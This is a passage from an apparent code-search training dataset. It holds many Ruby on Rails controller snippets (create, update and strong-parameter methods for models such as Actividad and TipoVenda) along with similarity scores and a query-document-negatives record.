"def create\n @aactio = Aactio.new(params[:aactio])\n\n respond_to do |format|\n if @aactio.save\n format.html { redirect_to @aactio, notice: 'Aactio was successfully created.' }\n format.json { render json: @aactio, status: :created, location: @aactio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def actividad_params\n params.require(:actividad).permit(:empresa_id, :actividad, :tipo, :sementera, :producto_id)\n end",
"def acabamento_params\r\n params.require(:acabamento).permit(:tipo)\r\n end",
"def activo_params\n params.require(:activo).permit(:descripcion, :precio, :fecha, :sector)\n end",
"def create\n @adecuacionactividad = Adecuacionactividad.new(adecuacionactividad_params)\n\n respond_to do |format|\n if @adecuacionactividad.save\n format.html { redirect_to @adecuacionactividad, notice: 'Adecuacionactividad was successfully created.' }\n format.json { render :show, status: :created, location: @adecuacionactividad }\n else\n format.html { render :new }\n format.json { render json: @adecuacionactividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def actuacion_params\n params.require(:actuacion).permit(:numero, :fecha, :descripcion, :tipo, :juicio_id)\n end",
"def create\n @apoio_educacioanl = ApoioEducacioanl.new(apoio_educacioanl_params)\n\n respond_to do |format|\n if @apoio_educacioanl.save\n format.html { redirect_to @apoio_educacioanl, notice: 'Apoio educacioanal foi cadastrado com Sucesso !' }\n format.json { render :show, status: :created, location: @apoio_educacioanl }\n else\n format.html { render :new }\n format.json { render json: @apoio_educacioanl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def create\n @tipo_agressor = TipoAgressor.new(tipo_agressor_params)\n\n respond_to do |format|\n if @tipo_agressor.save\n format.html { redirect_to @tipo_agressor, notice: @@msgs }\n format.json { render :show, status: :created, location: @tipo_agressor }\n else\n format.html { render :new }\n format.json { render json: @tipo_agressor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @tipo_actividad = TipoActividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def tipo_actividad_params\n params.require(:tipo_actividad).permit(:nombre)\n end",
"def create\n @activacionclientet = Activacionclientet.new(activacionclientet_params)\n\n respond_to do |format|\n if @activacionclientet.save\n format.html { redirect_to @activacionclientet, notice: 'Activacionclientet was successfully created.' }\n format.json { render :show, status: :created, location: @activacionclientet }\n else\n format.html { render :new }\n format.json { render json: @activacionclientet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @observacionactividadadecuacion = Observacionactividadadecuacion.new(observacionactividadadecuacion_params)\n\n respond_to do |format|\n if @observacionactividadadecuacion.save\n format.html { redirect_to @observacionactividadadecuacion, notice: 'Observacionactividadadecuacion was successfully created.' }\n format.json { render :show, status: :created, location: @observacionactividadadecuacion }\n else\n format.html { render :new }\n format.json { render json: @observacionactividadadecuacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activite = Activite.new(params[:activite])\n @activite.dossier_id = params[:dossier]\n @activite.save\n render :json => {\"success\"=>true,\"data\"=>@activite}\n \n end",
"def create\n @tipo_atendimento = TipoAtendimento.new(params[:tipo_atendimento])\n\n respond_to do |format|\n if @tipo_atendimento.save\n format.html { redirect_to @tipo_atendimento, notice: \"Tipo de atendimento: #{@tipo_atendimento.descricao}, foi criado com sucesso,\" }\n format.json { render json: @tipo_atendimento, status: :created, location: @tipo_atendimento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_atendimento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @actividad = @solicitud.actividades.new(params[:actividad])\n @actividades = @solicitud.actividades\n\n respond_to do |format|\n if @actividad.save\n flash[:success] = 'Asignacion creada con exito.'\n format.js\n else\n @actividad.institucion_id = current_usuario.institucion_id\n @instituciones = current_usuario.institucion.familia\n @usuarios = @institucion.usuarios.enlaces\n\n flash[:error] = 'Asignacion fallida.'\n format.js do\n render :failed\n end\n end\n end\n end",
"def azienda_params\n params.require(:azienda).permit(:denominazione, :piva, :codfisc, :indirizzo, :cap, :citta, :tel, :fax, :cell, :email, :web, :pec, :referente, :note, :logo, :active)\n end",
"def activo\n @egreso.activo\n respond_to do |format|\n format.html { redirect_to egresos_url }\n format.json { head :no_content }\n end\n end",
"def create\n @ativo = Ativo.new(ativo_params)\n\n respond_to do |format|\n if @ativo.save\n format.html { redirect_to @ativo, notice: \"#{type} was successfully created.\" }\n format.json { render :show, status: :created, location: @ativo }\n else\n format.html { render :new }\n format.json { render json: @ativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def solicitacao_tipo_params\n params.require(:solicitacao_tipo).permit(:tipo)\n end",
"def tipo_venda_params\n params.require(:tipo_venda).permit(:tipo)\n end",
"def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend",
"def create\n @tipo_orden = TipoOrden.new(tipo_orden_params)\n\n respond_to do |format|\n if @tipo_orden.save\n format.html { redirect_to @tipo_orden, notice: 'Tipo orden was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_orden }\n else\n format.html { render :new }\n format.json { render json: @tipo_orden.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @autobus = Autobus.new(autobus_params)\n respond_to do |format|\n @autobus.is_taken = false\n if @autobus.save\n format.html { redirect_to @autobus, notice: 'Autobus creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @autobus }\n\n 1.upto(@autobus.capacidad.to_i) { |n| \n @asiento = Asiento.new\n @asiento.is_active = true\n @asiento.asiento_no = n\n @asiento.autobus_id = @autobus.id\n if (n < @autobus.capacidad.to_i/2)\n @asiento.tipo = 'V'\n else\n @asiento.tipo = 'P'\n end\n @asiento.save\n }\n else\n format.html { render action: 'new' }\n format.json { render json: @autobus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @tipo_actividads = TipoActividad.all\n end",
"def anuncio_params\n params.permit(:id,\n :tipo,\n :enlace,\n :fecha_inicio,\n :fecha_fin,\n :descripcion,\n :tablon_id,\n :autor_name\n )\n end",
"def create\n @tipo_venda = TipoVenda.new(tipo_venda_params)\n\n respond_to do |format|\n if @tipo_venda.save\n format.html { redirect_to @tipo_venda, notice: 'Tipo venda was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_venda }\n else\n format.html { render :new }\n format.json { render json: @tipo_venda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def solicitud_params\n params.require(:solicitud).permit(:status, :descripcion, :ayuda_id, :beneficiario_id, :solicitante_id)\n end",
"def tipo_agressor_params\n params.require(:tipo_agressor).permit(:descricao)\n end",
"def create\n @tipo_comunicacao = TipoComunicacao.new(tipo_comunicacao_params)\n\n respond_to do |format|\n if @tipo_comunicacao.save\n format.html { redirect_to @tipo_comunicacao, notice: 'Tipo comunicacao was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_comunicacao }\n else\n format.html { render :new }\n format.json { render json: @tipo_comunicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_despesa = TipoDespesa.new(tipo_despesa_params)\n\n respond_to do |format|\n if @tipo_despesa.save\n format.html { redirect_to tenant_tipo_despesas_path(tenant_id: @tenant.id), notice: 'Tipo despesa was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_despesa }\n else\n format.html { render :new }\n format.json { render json: @tipo_despesa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def atividade_params\n params.require(:atividade).permit(:nome, :tipo, :descricao, :observacao, :acompanhamento, :status, :oportunidade_id, :prioridade, :data_prevista_inicio, :data_realizada_fim, :data_realizada, :cliente_potencial_id)\n end",
"def ativo_params\n params.require(type.underscore.to_sym).permit(:name, :curto_prazo, :type, :account_id, :longo_prazo, :investimento, :imobilizado, :intangivel, :natureza_conta)\n end",
"def create\n @pagamento_aceito = PagamentoAceito.new(pagamento_aceito_params)\n\n respond_to do |format|\n if @pagamento_aceito.save\n format.html { redirect_to @pagamento_aceito, notice: 'Pagamento aceito was successfully created.' }\n format.json { render :show, status: :created, location: @pagamento_aceito }\n else\n format.html { render :new }\n format.json { render json: @pagamento_aceito.errors, status: :unprocessable_entity }\n end\n end\n end",
"def auditoria_antes(accion, tabla, objeto)\n auditoria = Auditoria.new\n auditoria.usuario = current_usuario.login\n auditoria.ip = request.remote_ip\n auditoria.accion = accion\n auditoria.tabla = tabla\n auditoria.pista_antes = objeto.to_json\n auditoria.sistema = \"RUE\"\n auditoria.save\n\n auditoria.id\n\n end",
"def tipo_aposta_params\n params.require(:tipo_aposta).permit(:descricao)\n end",
"def transacciontipo_params\n params.require(:transacciontipo).permit(:codigo, :nombre)\n end",
"def create\n @actividad = Actividad.new(params[:actividad])\n\n respond_to do |format|\n if @actividad.save\n format.html { redirect_to(@actividad, :notice => 'Actividad was successfully created.') }\n format.xml { render :xml => @actividad, :status => :created, :location => @actividad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @actividad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @actividad = Actividad.new(actividad_params)\n @actividad.empresa_id = @current_empresa.id\n\n #Verificamos si la tarea ha podido ser guardado correctamente.\n \n if @actividad.save()\n redirect_to actividads_path, :notice => \"La actividad ha sido creada\";\n else\n render \"new\";\n end\n end",
"def create\n @serv_adicionale = ServAdicionale.new(params[:serv_adicionale])\n\n respond_to do |format|\n if @serv_adicionale.save\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully created.' }\n format.json { render json: @serv_adicionale, status: :created, location: @serv_adicionale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agenda = Agenda.new(agenda_params)\n respond_to do |format|\n if @agenda.save\n format.html { redirect_to @agenda, notice: 'Agenda was successfully created.' }\n format.json { render action: 'show', status: :created, location: @agenda }\n else\n @cidades = Cidade.order('cidade ASC')\n format.html { render action: 'new' }\n format.json { render json: @agenda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agenda_type = AgendaType.new(params[:agenda_type])\n\n respond_to do |format|\n if @agenda_type.save\n format.html { redirect_to @agenda_type, :notice => 'Agenda type was successfully created.' }\n format.json { render :json => @agenda_type, :status => :created, :location => @agenda_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @agenda_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def caixa_params\n params.require(:caixa).permit(:data, :responsavel, :status)\n end",
"def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to @asiento, :notice => 'El apunte fue creado.' }\n format.json { render :json => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def tipo_params\n params.require(:tipo).permit(:descricao)\n end",
"def activo\n @produccion.activo\n respond_to do |format|\n format.html { redirect_to produccions_url }\n format.json { head :no_content }\n end\n end",
"def tipoapreensao_params\n params.require(:tipoapreensao).permit(:ttpcodigo, :ttpatualiza)\n end",
"def adecuacionactividad_params\n params.require(:adecuacionactividad).permit(:id, :adecuacionId, :actividadId, :anulada, :semestre)\n end",
"def create\n @periodo_academico = PeriodoAcademico.new(params[:periodo_academico])\n\n if @periodo_academico.save\n render json: @periodo_academico, status: :created, location: @periodo_academico\n else\n render json: @periodo_academico.errors, status: :unprocessable_entity\n end\n end",
"def aviso_params\n params.require(:aviso).permit(:nombre,:estado,:user_id, :descripcion, :fecha, :user, :fonouser, :usersede)\n end",
"def create\n @tipo_entidade = TipoEntidade.new(tipo_entidade_params)\n\n respond_to do |format|\n if @tipo_entidade.save\n format.html { redirect_to @tipo_entidade, notice: 'Tipo entidade was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_entidade }\n else\n format.html { render :new }\n format.json { render json: @tipo_entidade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activo = Activo.new(params[:activo])\n @activo_disponible = Activo.new\n\n respond_to do |format|\n if @activo.save\n format.html { redirect_to @activo, notice: 'Activo se ha creado con éxito.' }\n format.js\n else\n format.html { render action: \"new\" }\n format.js\n end\n end\n end",
"def create\n @tipo_de_pago = TipoDePago.new(tipo_de_pago_params)\n\n respond_to do |format|\n if @tipo_de_pago.save\n format.html { redirect_to @tipo_de_pago, notice: 'Tipo de pago fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @tipo_de_pago }\n else\n format.html { render :new }\n format.json { render json: @tipo_de_pago.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_trabajador = TipoTrabajador.new(tipo_trabajador_params)\n\n respond_to do |format|\n if @tipo_trabajador.save\n format.html { redirect_to @tipo_trabajador, notice: 'Tipo trabajador was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_trabajador }\n else\n format.html { render :new }\n format.json { render json: @tipo_trabajador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estadio = Estadio.new(params[:estadio])\n\n respond_to do |format|\n if @estadio.save\n newAuditoria = Auditoria.new\n newAuditoria.tabla = params[:controller]\n newAuditoria.action = params[:action]\n newAuditoria.usuario = User.all.first.id\n newAuditoria.clave = @estadio.id\n newAuditoria.save\n format.html { redirect_to @estadio, notice: 'Estadio was successfully created.' }\n format.json { render json: @estadio, status: :created, location: @estadio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estadio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_de_imovel = TipoDeImovel.new(tipo_de_imovel_params)\n\n respond_to do |format|\n if @tipo_de_imovel.save\n format.html { redirect_to @tipo_de_imovel, notice: 'Tipo de imovel was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_de_imovel }\n else\n format.html { render :new }\n format.json { render json: @tipo_de_imovel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @denuncia_tipo = DenunciaTipo.new(params[:denuncia_tipo])\n\n respond_to do |format|\n if @denuncia_tipo.save\n format.html { redirect_to @denuncia_tipo, notice: 'Denuncia tipo was successfully created.' }\n format.json { render json: @denuncia_tipo, status: :created, location: @denuncia_tipo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @denuncia_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def atividade_params\n params.require(:atividade).permit(:nome, :status, :professor, :motivo)\n end",
"def create\n @acuerdo = Acuerdo.new(params[:acuerdo])\n\n respond_to do |format|\n if @acuerdo.save\n format.html { redirect_to @acuerdo, notice: 'Acuerdo was successfully created.' }\n format.json { render json: @acuerdo, status: :created, location: @acuerdo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @acuerdo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estado_persona = EstadoPersona.new(estado_persona_params)\n @estado_persona.estado_id = params[:estado_persona][:estado_id]\n @estado_persona.vendedor_id = params[:estado_persona][:vendedor_id]\n @estado_persona.fecha_inicio = params[:estado_persona][:fecha_inicio]\n\n respond_to do | format|\n if @estado_persona.save\n format.html { redirect_to @estado_persona, notice: 'Estado creado con exito.' }\n format.json { render :show, status: :created, location: @estado_persona }\n else\n format.html { render :new }\n format.json { render json: @estado_persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @act_type = ActType.new(params[:act_type])\n\n respond_to do |format|\n if @act_type.save\n format.html { redirect_to @act_type, notice: 'Тип документа успешно создан.' }\n format.json { render json: @act_type, status: :created, location: @act_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ordenanza_params\n params.require(:ordenanza).permit(:titulo, :fecha)\n end",
"def create\n @empresa = Empresa.find(params[:empresa_id])\n\n @tipo_de_imposto = TipoDeImposto.new(tipo_de_imposto_params)\n @tipo_de_imposto.empresa_id = @empresa.id\n\n respond_to do |format|\n if @tipo_de_imposto.save\n format.html { redirect_to @empresa, notice: 'Tipo de imposto adicionado com sucesso.' }\n format.json { render :show, status: :created, location: @tipo_de_imposto }\n else\n format.html { render :new }\n format.json { render json: @tipo_de_imposto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_propiedad = TipoPropiedad.new(tipo_propiedad_params)\n\n respond_to do |format|\n if @tipo_propiedad.save\n format.html { redirect_to @tipo_propiedad, notice: 'Tipo propiedad was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_propiedad }\n else\n format.html { render :new }\n format.json { render json: @tipo_propiedad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n log(\"Se ha creado la nomina #{@lt}\", 0)\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: 'La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @status_del_admitido = StatusDelAdmitido.new(params[:status_del_admitido])\n\n respond_to do |format|\n if @status_del_admitido.save\n format.html { redirect_to @status_del_admitido, notice: 'Status del admitido was successfully created.' }\n format.json { render json: @status_del_admitido, status: :created, location: @status_del_admitido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_del_admitido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vacante_aplicada_params\n params.require(:vacante_aplicada).permit(:user_id, :vacante_id , :status )\n end",
"def create\n @delegacione = Delegacione.new(params[:delegacione])\n\n\n respond_to do |format|\n if @delegacione.save\n newAuditoria = Auditoria.new\n newAuditoria.tabla = params[:controller]\n newAuditoria.action = params[:action]\n newAuditoria.usuario = User.all.first.id\n newAuditoria.clave = @delegacione.id\n newAuditoria.save\n format.html { redirect_to @delegacione, notice: 'Delegacione was successfully created.' }\n format.json { render json: @delegacione, status: :created, location: @delegacione }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delegacione.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tipo_entidad_params\n params.require(:tipo_entidad).permit(:tipo)\n end",
"def antropo_params\n params.require(:antropo).permit(:estatura, :pescoco, :ombro, :torax, :cintura, :abdomen, \n :quadril, :braco_esq, :antebraco_esq, :coxa_esq, :panturrilha_esq, :braco_dir, \n :antebraco_dir, :panturrilha_dir, :coxa_dir, :aluno_id, :alunos_attributes => [:id, :nome])\n end",
"def create\n @accesorio = Accesorio.new(accesorio_params)\n\n respond_to do |format|\n if @accesorio.save\n format.html { redirect_to @accesorio, notice: 'Accesorio was successfully created.' }\n format.json { render :show, status: :created, location: @accesorio }\n else\n format.html { render :new }\n format.json { render json: @accesorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tipo_actividad\n @tipo_actividad = TipoActividad.find(params[:id])\n end",
"def trein_consul_comercial_params\n params.require(:trein_consul_comercial).permit(:estatus, :data, :interessado_id)\n end",
"def adopcion_params\n params.require(:adopcion).permit( :id_mascota, :numero_adultos, :numero_ninios, :numero_perros, :numero_gatos, :numero_otros, :referencia_casa, :numero_referencia1, :numero_referencia2, :id_persona, :id_adopcion, :observacion)\n end",
"def create\n @adjunto = Adjunto.new(params[:adjunto])\n\n respond_to do |format|\n if @adjunto.save\n format.html { redirect_to(@adjunto, :notice => 'Adjunto was successfully created.') }\n format.xml { render :xml => @adjunto, :status => :created, :location => @adjunto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adjunto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @auditoria = Auditoria.new(params[:auditoria])\n\n respond_to do |format|\n if @auditoria.save\n format.html { redirect_to @auditoria, :notice => 'Auditoria was successfully created.' }\n format.json { render :json => @auditoria, :status => :created, :location => @auditoria }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @auditoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @itemtipo = Itemtipo.new(itemtipo_params)\n\n if @itemtipo.save\n render json: @itemtipo, status: :created, location: @itemtipo\n else\n render json: @itemtipo.errors, status: :unprocessable_entity\n end\n end",
"def new\n @actividad = Actividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actividad }\n end\n end",
"def create\n @atividade = Atividade.new(atividade_params)\n\n respond_to do |format|\n if @atividade.save\n format.html { redirect_to @atividade, notice: 'Atividade was successfully created.' }\n format.json { render :show, status: :created, location: @atividade }\n else\n format.html { render :new }\n format.json { render json: @atividade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoapreensao = Tipoapreensao.new(tipoapreensao_params)\n\n respond_to do |format|\n if @tipoapreensao.save\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipoapreensao }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @accesorio = Accesorio.new(params[:accesorio])\n\n respond_to do |format|\n if @accesorio.save\n format.html { redirect_to @accesorio, notice: 'Accesorio was successfully created.' }\n format.json { render json: @accesorio, status: :created, location: @accesorio }\n else\n format.html { render \"new\" }\n format.json { render json: @accesorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def etapa_params\n params.require(:etapa).permit(:nombre, :descripcion, :etapaAnterior)\n end",
"def create\n @admission_type = AdmissionType.new(params[:admission_type])\n\n respond_to do |format|\n if @admission_type.save\n format.html { redirect_to @admission_type, :notice => 'Tipo de Ingresso criado com sucesso.' }\n format.json { render :json => @admission_type, :status => :created, :location => @admission_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @admission_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @atividades_extra = AtividadesExtra.new(atividades_extra_params)\n\n respond_to do |format|\n if @atividades_extra.save\n format.html { redirect_to @atividades_extra, notice: 'Atividades extra was successfully created.' }\n format.json { render :show, status: :created, location: @atividades_extra }\n else\n format.html { render :new }\n format.json { render json: @atividades_extra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_activity_params\n params.require(:type_activity).permit(:nombre_type_activity)\n end",
"def tb_avaliacao_params\n params.require(:tb_avaliacao).permit(:id,\n tb_respostas_attributes: %i(id tb_pergunta_id nota obs))\n end",
"def otrosing_params\n params.require(:otrosing).permit(:actividad, :valor, :dia)\n end",
"def atividade_params\n params.require(:atividade).permit(:nome, :descricao, :inicio, :fim, :estado)\n end",
"def create\n @vacante_aplicada = VacanteAplicada.new(vacante_aplicada_params)\n\n respond_to do |format|\n if @vacante_aplicada.save\n format.html { redirect_to root_path, notice: 'Se ha aplicado aplicado correctamente a la vacante' }\n format.json { render :show, status: :created, location: @vacante_aplicada }\n else\n format.html { render :new }\n format.json { render json: @vacante_aplicada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_cancha = TipoCancha.new(tipo_cancha_params)\n\n respond_to do |format|\n if @tipo_cancha.save\n format.html { redirect_to @tipo_cancha, notice: 'Tipo cancha was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_cancha }\n else\n format.html { render :new }\n format.json { render json: @tipo_cancha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solicitacao_tipo = SolicitacaoTipo.new(solicitacao_tipo_params)\n\n respond_to do |format|\n if @solicitacao_tipo.save\n format.html { redirect_to @solicitacao_tipo, notice: 'Solicitacao tipo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @solicitacao_tipo }\n else\n format.html { render action: 'new' }\n format.json { render json: @solicitacao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end"
] |
[
"0.67348546",
"0.6442891",
"0.62742347",
"0.6253749",
"0.62522805",
"0.6203949",
"0.6197207",
"0.61944884",
"0.61769533",
"0.61542404",
"0.6140967",
"0.6110963",
"0.60681707",
"0.6025925",
"0.60028255",
"0.5994297",
"0.5980875",
"0.59744686",
"0.5971107",
"0.59681594",
"0.59590244",
"0.59579027",
"0.5951166",
"0.59497887",
"0.5949526",
"0.5949469",
"0.5946876",
"0.594466",
"0.5928946",
"0.5915496",
"0.5910963",
"0.5901805",
"0.58982867",
"0.5897523",
"0.5882625",
"0.586922",
"0.5864628",
"0.58597773",
"0.58371514",
"0.582317",
"0.5821394",
"0.5816279",
"0.5808542",
"0.5803758",
"0.57920384",
"0.5786988",
"0.577624",
"0.5775384",
"0.5775034",
"0.5772534",
"0.5770926",
"0.5770536",
"0.57692504",
"0.5768583",
"0.576764",
"0.57647014",
"0.5761262",
"0.5761105",
"0.5760793",
"0.57589185",
"0.5755176",
"0.5739264",
"0.5737461",
"0.5734324",
"0.57273686",
"0.57247406",
"0.57234293",
"0.5721204",
"0.5714129",
"0.5712204",
"0.57121",
"0.5710564",
"0.5703163",
"0.5700227",
"0.5696604",
"0.5694418",
"0.5694242",
"0.5684316",
"0.5684002",
"0.5683481",
"0.56796056",
"0.567816",
"0.5676154",
"0.56742746",
"0.56736505",
"0.5673643",
"0.567317",
"0.567308",
"0.5670858",
"0.566576",
"0.56609225",
"0.5659721",
"0.56590784",
"0.5657295",
"0.5649339",
"0.5648575",
"0.56453174",
"0.5640222",
"0.5637232",
"0.5636528"
] |
0.6750269
|
0
|
PATCH/PUT /tipo_actividads/1 PATCH/PUT /tipo_actividads/1.json
|
def update
respond_to do |format|
if @tipo_actividad.update(tipo_actividad_params)
format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad se actualizo correctamente.' }
format.json { render :show, status: :ok, location: @tipo_actividad }
else
format.html { render :edit }
format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n if @tipo_actividad.update_attributes(params[:tipo_actividad])\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:presentacion][:activo]\n id = params[:id]\n Presentacion.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n if @tipo_contrato.update_attributes(params[:tipo_contrato])\n format.html { redirect_to tipo_contratos_path, notice: 'Tipo de contrato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activo = Activo.find(params[:id])\n\n respond_to do |format|\n if @activo.update_attributes(params[:activo])\n format.html { redirect_to @activo, notice: 'Activo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activo = Activo.find(params[:id])\n\n respond_to do |format|\n if @activo.update_attributes(params[:activo])\n format.html { redirect_to @activo, notice: 'Activo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n if @aactio.update_attributes(params[:aactio])\n format.html { redirect_to @aactio, notice: 'Aactio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end",
